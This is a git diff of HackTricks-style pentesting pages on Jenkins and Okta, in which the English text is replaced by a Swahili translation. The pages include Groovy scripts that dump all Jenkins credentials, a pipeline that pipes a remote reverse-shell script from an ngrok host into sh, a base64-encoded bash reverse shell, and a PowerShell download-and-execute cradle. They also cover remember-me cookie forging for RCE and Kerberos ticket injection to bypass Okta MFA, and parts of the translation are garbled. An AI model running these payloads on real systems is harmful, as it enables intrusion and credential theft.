a process with its own PID** on the host machine. +**Agents** **wanasimamia** **utendaji wa kazi** kwa niaba ya Jenkins controller kwa **kutumia waendeshaji**. Wakala anaweza kutumia mfumo wowote wa uendeshaji unaounga mkono Java. Zana zinazohitajika kwa ajili ya kujenga na majaribio zimewekwa kwenye node ambapo wakala anafanya kazi; zinaweza **kuwekwa moja kwa moja au kwenye kontena** (Docker au Kubernetes). Kila **wakala kwa ufanisi ni mchakato wenye PID yake mwenyewe** kwenye mashine mwenyeji. -An **executor** is a **slot for execution of tasks**; effectively, it is **a thread in the agent**. The **number of executors** on a node defines the number of **concurrent tasks** that can be executed on that node at one time. In other words, this determines the **number of concurrent Pipeline `stages`** that can execute on that node at one time. +**Executor** ni **nafasi ya utekelezaji wa kazi**; kwa ufanisi, ni **thread katika wakala**. **Idadi ya waendeshaji** kwenye node inafafanua idadi ya **kazi zinazoweza kufanyika kwa wakati mmoja** kwenye node hiyo. Kwa maneno mengine, hii inamua **idadi ya hatua za Pipeline `stages`** zinazoweza kutekelezwa kwenye node hiyo kwa wakati mmoja. ## Jenkins Secrets ### Encryption of Secrets and Credentials -Definition from the [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins uses **AES to encrypt and protect secrets**, credentials, and their respective encryption keys. These encryption keys are stored in `$JENKINS_HOME/secrets/` along with the master key used to protect said keys. This directory should be configured so that only the operating system user the Jenkins controller is running as has read and write access to this directory (i.e., a `chmod` value of `0700` or using appropriate file attributes). The **master key** (sometimes referred to as a "key encryption key" in cryptojargon) is **stored \_unencrypted**\_ on the Jenkins controller filesystem in **`$JENKINS_HOME/secrets/master.key`** which does not protect against attackers with direct access to that file. Most users and developers will use these encryption keys indirectly via either the [Secret](https://javadoc.jenkins.io/byShortName/Secret) API for encrypting generic secret data or through the credentials API. For the cryptocurious, Jenkins uses AES in cipher block chaining (CBC) mode with PKCS#5 padding and random IVs to encrypt instances of [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) which are stored in `$JENKINS_HOME/secrets/` with a filename corresponding to their `CryptoConfidentialKey` id. Common key ids include: +M definition kutoka kwenye [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins inatumia **AES kuandika na kulinda siri**, akidi, na funguo zao za uandishi. Funguo hizi za uandishi zimehifadhiwa katika `$JENKINS_HOME/secrets/` pamoja na funguo kuu inayotumika kulinda funguo hizo. Hii directory inapaswa kuundwa ili tu mtumiaji wa mfumo wa uendeshaji ambaye Jenkins controller inafanya kazi kama awe na ufikiaji wa kusoma na kuandika kwenye directory hii (yaani, thamani ya `chmod` ya `0700` au kutumia sifa sahihi za faili). **Funguo kuu** (wakati mwingine inaitwa "funguo ya uandishi wa funguo" katika cryptojargon) inahifadhiwa \_bila kuandikwa\_ kwenye mfumo wa faili wa Jenkins controller katika **`$JENKINS_HOME/secrets/master.key`** ambayo haiwezi kulinda dhidi ya washambuliaji wenye ufikiaji wa moja kwa moja kwa faili hiyo. Watumiaji wengi na wabunifu watatumia funguo hizi za uandishi kwa njia isiyo ya moja kwa moja kupitia ama [Secret](https://javadoc.jenkins.io/byShortName/Secret) API kwa kuandika data ya siri ya kawaida au kupitia API ya akidi. Kwa wale wanaopenda cryptography, Jenkins inatumia AES katika hali ya kuandika block chaining (CBC) na PKCS#5 padding na IV za nasibu kuandika matukio ya [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) ambayo yanahifadhiwa katika `$JENKINS_HOME/secrets/` kwa jina la faili linalolingana na `CryptoConfidentialKey` id yao. Idadi za kawaida za funguo ni pamoja na: -- `hudson.util.Secret`: used for generic secrets; -- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: used for some credentials types; -- `jenkins.model.Jenkins.crumbSalt`: used by the [CSRF protection mechanism](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); and +- `hudson.util.Secret`: inatumika kwa siri za kawaida; +- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: inatumika kwa aina fulani za akidi; +- `jenkins.model.Jenkins.crumbSalt`: inatumika na [mekanism ya ulinzi wa CSRF](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); na ### Credentials Access -Credentials can be **scoped to global providers** (`/credentials/`) that can be accessed by any project configured, or can be scoped to **specific projects** (`/job//configure`) and therefore only accessible from the specific project. +Akidi zinaweza **kuwekwa kwa watoa huduma wa kimataifa** (`/credentials/`) ambazo zinaweza kufikiwa na mradi wowote ulioandaliwa, au zinaweza kuwekwa kwa **miradi maalum** (`/job//configure`) na hivyo kufikiwa tu kutoka mradi maalum. -According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Credentials that are in scope are made available to the pipeline without limitation. To **prevent accidental exposure in the build log**, credentials are **masked** from regular output, so an invocation of `env` (Linux) or `set` (Windows), or programs printing their environment or parameters would **not reveal them in the build log** to users who would not otherwise have access to the credentials. +Kulingana na [**docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Akidi ambazo ziko katika upeo zinapatikana kwa pipeline bila kikomo. Ili **kuzuia kufichuliwa kwa bahati mbaya katika kumbukumbu ya kujenga**, akidi zime **fichwa** kutoka kwa matokeo ya kawaida, hivyo mwito wa `env` (Linux) au `set` (Windows), au programu zinazochapisha mazingira yao au vigezo hazitafichua katika kumbukumbu ya kujenga** kwa watumiaji ambao vinginevyo hawangeweza kupata akidi hizo. -**That is why in order to exfiltrate the credentials an attacker needs to, for example, base64 them.** +**Ndio maana ili kuhamasisha akidi mshambuliaji anahitaji, kwa mfano, kuziweka kwenye base64.** ## References @@ -92,7 +92,3 @@ According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-m - [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md index 9d2b232e1..58204b264 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md @@ -2,108 +2,104 @@ {{#include ../../banners/hacktricks-training.md}} -In this blog post is possible to find a great way to transform a Local File Inclusion vulnerability in Jenkins into RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/) +Katika chapisho hili la blog, inawezekana kupata njia nzuri ya kubadilisha udhaifu wa Local File Inclusion katika Jenkins kuwa RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/) -This is an AI created summary of the part of the post were the creaft of an arbitrary cookie is abused to get RCE abusing a local file read until I have time to create a summary on my own: +Hii ni muhtasari ulioandikwa na AI wa sehemu ya chapisho ambapo ufundi wa kuki isiyo ya kawaida unatumika vibaya kupata RCE kwa kutumia kusoma faili za ndani hadi nitakapokuwa na muda wa kuunda muhtasari wangu mwenyewe: -### Attack Prerequisites +### Masharti ya Shambulio -- **Feature Requirement:** "Remember me" must be enabled (default setting). -- **Access Levels:** Attacker needs Overall/Read permissions. -- **Secret Access:** Ability to read both binary and textual content from key files. +- **Mahitaji ya Kipengele:** "Remember me" lazima iwe imewezeshwa (mipangilio ya default). +- **Viwango vya Ufikiaji:** Mshambuliaji anahitaji ruhusa za Jumla/Soma. +- **Ufikiaji wa Siri:** Uwezo wa kusoma maudhui ya binary na maandiko kutoka kwa faili muhimu. -### Detailed Exploitation Process +### Mchakato wa Kina wa Kutekeleza -#### Step 1: Data Collection +#### Hatua ya 1: Kukusanya Data -**User Information Retrieval** +**Ukurasa wa Taarifa za Mtumiaji** -- Access user configuration and secrets from `$JENKINS_HOME/users/*.xml` for each user to gather: - - **Username** - - **User seed** - - **Timestamp** - - **Password hash** +- Fikia usanidi wa mtumiaji na siri kutoka `$JENKINS_HOME/users/*.xml` kwa kila mtumiaji ili kukusanya: +- **Jina la Mtumiaji** +- **Mbegu ya Mtumiaji** +- **Muda** +- **Hash ya Nywila** -**Secret Key Extraction** +**Uondoaji wa Funguo za Siri** -- Extract cryptographic keys used for signing the cookie: - - **Secret Key:** `$JENKINS_HOME/secret.key` - - **Master Key:** `$JENKINS_HOME/secrets/master.key` - - **MAC Key File:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac` +- Ondoa funguo za kificho zinazotumika kwa ajili ya kusaini kuki: +- **Funguo ya Siri:** `$JENKINS_HOME/secret.key` +- **Funguo Kuu:** `$JENKINS_HOME/secrets/master.key` +- **Faili ya Funguo ya MAC:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac` -#### Step 2: Cookie Forging +#### Hatua ya 2: Uundaji wa Kuki -**Token Preparation** +**Maandalizi ya Tokeni** -- **Calculate Token Expiry Time:** +- **Hesabu Muda wa Kuisha wa Tokeni:** - ```javascript - tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Adds one hour to current time - ``` +```javascript +tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Ongeza saa moja kwa wakati wa sasa +``` -- **Concatenate Data for Token:** +- **Unganisha Data kwa Tokeni:** - ```javascript - token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey - ``` +```javascript +token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey +``` -**MAC Key Decryption** +**Ufunguo wa MAC** -- **Decrypt MAC Key File:** +- **Fungua Faili ya Funguo ya MAC:** - ```javascript - key = toAes128Key(masterKey) // Convert master key to AES128 key format - decrypted = AES.decrypt(macFile, key) // Decrypt the .mac file - if not decrypted.hasSuffix("::::MAGIC::::") - return ERROR; - macKey = decrypted.withoutSuffix("::::MAGIC::::") - ``` +```javascript +key = toAes128Key(masterKey) // Badilisha funguo kuu kuwa muundo wa funguo AES128 +decrypted = AES.decrypt(macFile, key) // Fungua faili ya .mac +if not decrypted.hasSuffix("::::MAGIC::::") +return ERROR; +macKey = decrypted.withoutSuffix("::::MAGIC::::") +``` -**Signature Computation** +**Hesabu Saini** -- **Compute HMAC SHA256:** +- **Hesabu HMAC SHA256:** - ```javascript - mac = HmacSHA256(token, macKey) // Compute HMAC using the token and MAC key - tokenSignature = bytesToHexString(mac) // Convert the MAC to a hexadecimal string - ``` +```javascript +mac = HmacSHA256(token, macKey) // Hesabu HMAC kwa kutumia tokeni na funguo ya MAC +tokenSignature = bytesToHexString(mac) // Badilisha MAC kuwa mfuatano wa hexadecimal +``` -**Cookie Encoding** +**Ufungaji wa Kuki** -- **Generate Final Cookie:** +- **Unda Kuki ya Mwisho:** - ```javascript - cookie = base64.encode( - username + ":" + tokenExpiryTime + ":" + tokenSignature - ) // Base64 encode the cookie data - ``` +```javascript +cookie = base64.encode( +username + ":" + tokenExpiryTime + ":" + tokenSignature +) // Fanya base64 encode data ya kuki +``` -#### Step 3: Code Execution +#### Hatua ya 3: Utekelezaji wa Msimbo -**Session Authentication** +**Uthibitishaji wa Kikao** -- **Fetch CSRF and Session Tokens:** - - Make a request to `/crumbIssuer/api/json` to obtain `Jenkins-Crumb`. - - Capture `JSESSIONID` from the response, which will be used in conjunction with the remember-me cookie. +- **Pata CSRF na Tokeni za Kikao:** +- Fanya ombi kwa `/crumbIssuer/api/json` ili kupata `Jenkins-Crumb`. +- Kamata `JSESSIONID` kutoka kwa jibu, ambayo itatumika pamoja na kuki ya remember-me. -**Command Execution Request** +**Ombi la Utekelezaji wa Amri** -- **Send a POST Request with Groovy Script:** +- **Tuma Ombi la POST na Skripti ya Groovy:** - ```bash - curl -X POST "$JENKINS_URL/scriptText" \ - --cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \ - --header "Jenkins-Crumb: $CRUMB" \ - --header "Content-Type: application/x-www-form-urlencoded" \ - --data-urlencode "script=$SCRIPT" - ``` +```bash +curl -X POST "$JENKINS_URL/scriptText" \ +--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \ +--header "Jenkins-Crumb: $CRUMB" \ +--header "Content-Type: application/x-www-form-urlencoded" \ +--data-urlencode "script=$SCRIPT" +``` - - Groovy script can be used to execute system-level commands or other operations within the Jenkins environment. +- Skripti ya Groovy inaweza kutumika kutekeleza amri za kiwango cha mfumo au shughuli nyingine ndani ya mazingira ya Jenkins. -The example curl command provided demonstrates how to make a request to Jenkins with the necessary headers and cookies to execute arbitrary code securely. +Mfano wa amri ya curl iliyotolewa inaonyesha jinsi ya kufanya ombi kwa Jenkins na vichwa na kuki zinazohitajika ili kutekeleza msimbo usio wa kawaida kwa usalama. {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md index 8699b8159..f98018c19 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md @@ -3,10 +3,9 @@ {{#include ../../banners/hacktricks-training.md}} > [!WARNING] -> Note that these scripts will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**. - -You can **dump all the secrets from the Groovy Script console** in `/script` running this code +> Kumbuka kwamba hizi skripti zitaorodhesha tu siri ndani ya faili `credentials.xml`, lakini **faili za usanidi wa ujenzi** zinaweza pia kuwa na **siri zaidi**. +Unaweza **kutoa siri zote kutoka kwenye Groovy Script console** katika `/script` ukikimbia hii code ```java // From https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/ import jenkins.model.* @@ -42,52 +41,45 @@ showRow("something else", it.id, '', '', '') return ``` - -#### or this one: - +#### au hii: ```java import java.nio.charset.StandardCharsets; def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials( - com.cloudbees.plugins.credentials.Credentials.class +com.cloudbees.plugins.credentials.Credentials.class ) for (c in creds) { - println(c.id) - if (c.properties.description) { - println(" description: " + c.description) - } - if (c.properties.username) { - println(" username: " + c.username) - } - if (c.properties.password) { - println(" password: " + c.password) - } - if (c.properties.passphrase) { - println(" passphrase: " + c.passphrase) - } - if (c.properties.secret) { - println(" secret: " + c.secret) - } - if (c.properties.secretBytes) { - println(" secretBytes: ") - println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8)) - println("") - } - if (c.properties.privateKeySource) { - println(" privateKey: " + c.getPrivateKey()) - } - if (c.properties.apiToken) { - println(" apiToken: " + c.apiToken) - } - if (c.properties.token) { - println(" token: " + c.token) - } - println("") +println(c.id) +if (c.properties.description) { +println(" description: " + c.description) +} +if (c.properties.username) { +println(" username: " + c.username) +} +if (c.properties.password) { +println(" password: " + c.password) +} +if (c.properties.passphrase) { +println(" passphrase: " + c.passphrase) +} +if (c.properties.secret) { +println(" secret: " + c.secret) +} +if (c.properties.secretBytes) { +println(" secretBytes: ") +println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8)) +println("") +} +if (c.properties.privateKeySource) { +println(" privateKey: " + c.getPrivateKey()) +} +if (c.properties.apiToken) { +println(" apiToken: " + c.apiToken) +} +if (c.properties.token) { +println(" token: " + c.token) +} +println("") } ``` - {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md index 89ca15223..b06d2f846 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md @@ -2,42 +2,36 @@ {{#include ../../banners/hacktricks-training.md}} -## Creating a new Pipeline +## Kuunda Pipeline Mpya -In "New Item" (accessible in `/view/all/newJob`) select **Pipeline:** +Katika "Kitu Kipya" (inapatikana katika `/view/all/newJob`) chagua **Pipeline:** ![](<../../images/image (235).png>) -In the **Pipeline section** write the **reverse shell**: +Katika **sehemu ya Pipeline** andika **reverse shell**: ![](<../../images/image (285).png>) - ```groovy pipeline { - agent any +agent any - stages { - stage('Hello') { - steps { - sh ''' - curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh - ''' - } - } - } +stages { +stage('Hello') { +steps { +sh ''' +curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh +''' +} +} +} } ``` - -Finally click on **Save**, and **Build Now** and the pipeline will be executed: +Hatimaye bonyeza **Save**, na **Build Now** na pipeline itatekelezwa: ![](<../../images/image (228).png>) -## Modifying a Pipeline +## Kubadilisha Pipeline -If you can access the configuration file of some pipeline configured you could just **modify it appending your reverse shell** and then execute it or wait until it gets executed. +Ikiwa unaweza kufikia faili ya usanidi ya pipeline fulani iliyowekwa unaweza tu **kuibadilisha kwa kuongeza shell yako ya nyuma** na kisha kuitekeleza au kusubiri hadi itekelezwe. {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md index f16096070..5b849c2d2 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md @@ -4,37 +4,33 @@ ## Creating a Project -This method is very noisy because you have to create a hole new project (obviously this will only work if you user is allowed to create a new project). +Hii mbinu ni kelele sana kwa sababu unahitaji kuunda mradi mpya kabisa (dhahiri hii itafanya kazi tu ikiwa mtumiaji wako anaruhusiwa kuunda mradi mpya). -1. **Create a new project** (Freestyle project) clicking "New Item" or in `/view/all/newJob` -2. Inside **Build** section set **Execute shell** and paste a powershell Empire launcher or a meterpreter powershell (can be obtained using _unicorn_). Start the payload with _PowerShell.exe_ instead using _powershell._ -3. Click **Build now** - 1. If **Build now** button doesn't appear, you can still go to **configure** --> **Build Triggers** --> `Build periodically` and set a cron of `* * * * *` - 2. Instead of using cron, you can use the config "**Trigger builds remotely**" where you just need to set a the api token name to trigger the job. Then go to your user profile and **generate an API token** (call this API token as you called the api token to trigger the job). Finally, trigger the job with: **`curl :@/job//build?token=`** +1. **Unda mradi mpya** (mradi wa Freestyle) kwa kubonyeza "New Item" au katika `/view/all/newJob` +2. Ndani ya sehemu ya **Build** weka **Execute shell** na ubandike launcher ya powershell Empire au powershell ya meterpreter (inaweza kupatikana kwa kutumia _unicorn_). Anza payload na _PowerShell.exe_ badala ya kutumia _powershell._ +3. Bonyeza **Build now** +1. Ikiwa kitufe cha **Build now** hakionekani, bado unaweza kwenda kwenye **configure** --> **Build Triggers** --> `Build periodically` na kuweka cron ya `* * * * *` +2. Badala ya kutumia cron, unaweza kutumia config "**Trigger builds remotely**" ambapo unahitaji tu kuweka jina la api token ili kuanzisha kazi. Kisha nenda kwenye wasifu wako wa mtumiaji na **unda API token** (ita jina hili API token kama ulivyoiita api token ili kuanzisha kazi). Hatimaye, anzisha kazi hiyo kwa: **`curl :@/job//build?token=`** ![](<../../images/image (165).png>) ## Modifying a Project -Go to the projects and check **if you can configure any** of them (look for the "Configure button"): +Nenda kwenye miradi na angalia **kama unaweza kuunda** yoyote kati yao (tafuta "Configure button"): ![](<../../images/image (265).png>) -If you **cannot** see any **configuration** **button** then you **cannot** **configure** it probably (but check all projects as you might be able to configure some of them and not others). +Ikiwa huwezi kuona **kitufe cha** **configuration** basi huwezi **kuunda** labda (lakini angalia miradi yote kwani unaweza kuwa na uwezo wa kuunda baadhi yao na si wengine). -Or **try to access to the path** `/job//configure` or `/me/my-views/view/all/job//configure` \_\_ in each project (example: `/job/Project0/configure` or `/me/my-views/view/all/job/Project0/configure`). +Au **jaribu kufikia njia** `/job//configure` au `/me/my-views/view/all/job//configure` \_\_ katika kila mradi (mfano: `/job/Project0/configure` au `/me/my-views/view/all/job/Project0/configure`). ## Execution -If you are allowed to configure the project you can **make it execute commands when a build is successful**: +Ikiwa unaruhusiwa kuunda mradi unaweza **kufanya itekeleze amri wakati ujenzi unafanikiwa**: ![](<../../images/image (98).png>) -Click on **Save** and **build** the project and your **command will be executed**.\ -If you are not executing a reverse shell but a simple command you can **see the output of the command inside the output of the build**. +Bonyeza **Save** na **ujenge** mradi na **amri yako itatekelezwa**.\ +Ikiwa hufanyi shell ya kurudi bali amri rahisi unaweza **kuona matokeo ya amri ndani ya matokeo ya ujenzi**. {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md index 33821cc03..6293ff517 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md @@ -4,24 +4,21 @@ ## Jenkins RCE with Groovy Script -This is less noisy than creating a new project in Jenkins - -1. Go to _path_jenkins/script_ -2. Inside the text box introduce the script +Hii ni kimya zaidi kuliko kuunda mradi mpya katika Jenkins +1. Nenda kwenye _path_jenkins/script_ +2. Ndani ya kisanduku cha maandiko ingiza scripti ```python def process = "PowerShell.exe ".execute() println "Found text ${process.text}" ``` - You could execute a command using: `cmd.exe /c dir` In **linux** you can do: **`"ls /".execute().text`** If you need to use _quotes_ and _single quotes_ inside the text. You can use _"""PAYLOAD"""_ (triple double quotes) to execute the payload. -**Another useful groovy script** is (replace \[INSERT COMMAND]): - +**Scripti nyingine ya groovy yenye manufaa** ni (replace \[INSERT COMMAND]): ```python def sout = new StringBuffer(), serr = new StringBuffer() def proc = '[INSERT COMMAND]'.execute() @@ -29,9 +26,7 @@ proc.consumeProcessOutput(sout, serr) proc.waitForOrKill(1000) println "out> $sout err> $serr" ``` - -### Reverse shell in linux - +### Reverse shell katika linux ```python def sout = new StringBuffer(), serr = new StringBuffer() def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute() @@ -39,29 +34,20 @@ proc.consumeProcessOutput(sout, serr) proc.waitForOrKill(1000) println "out> $sout err> $serr" ``` +### Reverse shell katika windows -### Reverse shell in windows - -You can prepare a HTTP server with a PS reverse shell and use Jeking to download and execute it: - +Unaweza kuandaa seva ya HTTP yenye PS reverse shell na kutumia Jeking kupakua na kuitekeleza: ```python scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')" echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0 cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc ``` - ### Script -You can automate this process with [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py). - -You can use MSF to get a reverse shell: +Unaweza kuendesha mchakato huu kwa kutumia [**hiki skripti**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py). +Unaweza kutumia MSF kupata shell ya kurudi: ``` msf> use exploit/multi/http/jenkins_script_console ``` - {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/okta-security/README.md b/src/pentesting-ci-cd/okta-security/README.md index e682996c2..0f9f8730e 100644 --- a/src/pentesting-ci-cd/okta-security/README.md +++ b/src/pentesting-ci-cd/okta-security/README.md @@ -4,103 +4,103 @@ ## Basic Information -[Okta, Inc.](https://www.okta.com/) is recognized in the identity and access management sector for its cloud-based software solutions. These solutions are designed to streamline and secure user authentication across various modern applications. They cater not only to companies aiming to safeguard their sensitive data but also to developers interested in integrating identity controls into applications, web services, and devices. +[Okta, Inc.](https://www.okta.com/) inatambuliwa katika sekta ya usimamizi wa utambulisho na ufikiaji kwa ajili ya suluhisho zake za programu za wingu. Suluhisho hizi zimeundwa ili kuboresha na kulinda uthibitishaji wa watumiaji katika programu mbalimbali za kisasa. Zinahudumia si tu kampuni zinazolenga kulinda data zao nyeti bali pia waendelezaji wanaovutiwa na kuunganisha udhibiti wa utambulisho katika programu, huduma za wavuti, na vifaa. -The flagship offering from Okta is the **Okta Identity Cloud**. This platform encompasses a suite of products, including but not limited to: +Kutoa kuu kutoka Okta ni **Okta Identity Cloud**. Jukwaa hili linajumuisha seti ya bidhaa, ikiwa ni pamoja na lakini sio tu: -- **Single Sign-On (SSO)**: Simplifies user access by allowing one set of login credentials across multiple applications. -- **Multi-Factor Authentication (MFA)**: Enhances security by requiring multiple forms of verification. -- **Lifecycle Management**: Automates user account creation, update, and deactivation processes. -- **Universal Directory**: Enables centralized management of users, groups, and devices. -- **API Access Management**: Secures and manages access to APIs. +- **Single Sign-On (SSO)**: Inarahisisha ufikiaji wa mtumiaji kwa kuruhusu seti moja ya akisi za kuingia katika programu nyingi. +- **Multi-Factor Authentication (MFA)**: Inaboresha usalama kwa kuhitaji aina nyingi za uthibitisho. +- **Lifecycle Management**: Inafanya mchakato wa kuunda, kuboresha, na kufuta akaunti za watumiaji kuwa wa kiotomatiki. +- **Universal Directory**: Inaruhusu usimamizi wa kati wa watumiaji, vikundi, na vifaa. +- **API Access Management**: Inalinda na kusimamia ufikiaji wa APIs. -These services collectively aim to fortify data protection and streamline user access, enhancing both security and convenience. The versatility of Okta's solutions makes them a popular choice across various industries, beneficial to large enterprises, small companies, and individual developers alike. As of the last update in September 2021, Okta is acknowledged as a prominent entity in the Identity and Access Management (IAM) arena. +Huduma hizi kwa pamoja zinakusudia kuimarisha ulinzi wa data na kuboresha ufikiaji wa watumiaji, ikiongeza usalama na urahisi. Uwezo wa suluhisho za Okta unafanya kuwa chaguo maarufu katika sekta mbalimbali, zikiwa na manufaa kwa makampuni makubwa, kampuni ndogo, na waendelezaji binafsi. Kufikia sasisho la mwisho mnamo Septemba 2021, Okta inatambuliwa kama chombo muhimu katika eneo la Usimamizi wa Utambulisho na Ufikiaji (IAM). > [!CAUTION] -> The main gola of Okta is to configure access to different users and groups to external applications. If you manage to **compromise administrator privileges in an Oktas** environment, you will highly probably able to **compromise all the other platforms the company is using**. +> Lengo kuu la Okta ni kuunda ufikiaji kwa watumiaji na vikundi tofauti kwa programu za nje. Ikiwa utaweza **kudhoofisha haki za msimamizi katika mazingira ya Oktas**, kuna uwezekano mkubwa wa **kudhoofisha majukwaa mengine yote ambayo kampuni inatumia**. > [!TIP] -> To perform a security review of an Okta environment you should ask for **administrator read-only access**. +> Ili kufanya ukaguzi wa usalama wa mazingira ya Okta unapaswa kuomba **ufikiaji wa msimamizi wa kusoma tu**. ### Summary -There are **users** (which can be **stored in Okta,** logged from configured **Identity Providers** or authenticated via **Active Directory** or LDAP).\ -These users can be inside **groups**.\ -There are also **authenticators**: different options to authenticate like password, and several 2FA like WebAuthn, email, phone, okta verify (they could be enabled or disabled)... +Kuna **watumiaji** (ambao wanaweza **kuhifadhiwa katika Okta,** kuingia kutoka kwa **Watoa Utambulisho** waliowekwa au kuthibitishwa kupitia **Active Directory** au LDAP).\ +Watumiaji hawa wanaweza kuwa ndani ya **vikundi**.\ +Kuna pia **wauthentikishaji**: chaguzi tofauti za kuthibitisha kama nywila, na 2FA kadhaa kama WebAuthn, barua pepe, simu, okta verify (zinaweza kuwa zimewezeshwa au kuzuiliwa)... -Then, there are **applications** synchronized with Okta. Each applications will have some **mapping with Okta** to share information (such as email addresses, first names...). Moreover, each application must be inside an **Authentication Policy**, which indicates the **needed authenticators** for a user to **access** the application. +Kisha, kuna **programu** zilizounganishwa na Okta. Kila programu itakuwa na **ramani fulani na Okta** ili kushiriki habari (kama anwani za barua pepe, majina ya kwanza...). Aidha, kila programu lazima iwe ndani ya **Sera ya Uthibitishaji**, ambayo inaonyesha **wauthentikishaji wanaohitajika** kwa mtumiaji ili **kuingia** kwenye programu. > [!CAUTION] -> The most powerful role is **Super Administrator**. +> Nafasi yenye nguvu zaidi ni **Super Administrator**. > -> If an attacker compromise Okta with Administrator access, all the **apps trusting Okta** will be highly probably **compromised**. +> Ikiwa mshambuliaji atakudhoofisha Okta kwa ufikiaji wa Msimamizi, programu zote **zinazoamini Okta** zitakuwa na uwezekano mkubwa wa **kudhoofishwa**. ## Attacks ### Locating Okta Portal -Usually the portal of a company will be located in **companyname.okta.com**. If not, try simple **variations** of **companyname.** If you cannot find it, it's also possible that the organization has a **CNAME** record like **`okta.companyname.com`** pointing to the **Okta portal**. +Kawaida, lango la kampuni litakuwa katika **companyname.okta.com**. Ikiwa sivyo, jaribu **mabadiliko rahisi** ya **companyname.** Ikiwa huwezi kulipata, pia inawezekana kwamba shirika lina rekodi ya **CNAME** kama **`okta.companyname.com`** ikielekeza kwenye **Okta portal**. ### Login in Okta via Kerberos -If **`companyname.kerberos.okta.com`** is active, **Kerberos is used for Okta access**, typically bypassing **MFA** for **Windows** users. To find Kerberos-authenticated Okta users in AD, run **`getST.py`** with **appropriate parameters**. Upon obtaining an **AD user ticket**, **inject** it into a controlled host using tools like Rubeus or Mimikatz, ensuring **`clientname.kerberos.okta.com` is in the Internet Options "Intranet" zone**. Accessing a specific URL should return a JSON "OK" response, indicating Kerberos ticket acceptance, and granting access to the Okta dashboard. +Ikiwa **`companyname.kerberos.okta.com`** inafanya kazi, **Kerberos inatumika kwa ufikiaji wa Okta**, kawaida ikiepuka **MFA** kwa watumiaji wa **Windows**. Ili kupata watumiaji wa Okta walioidhinishwa na 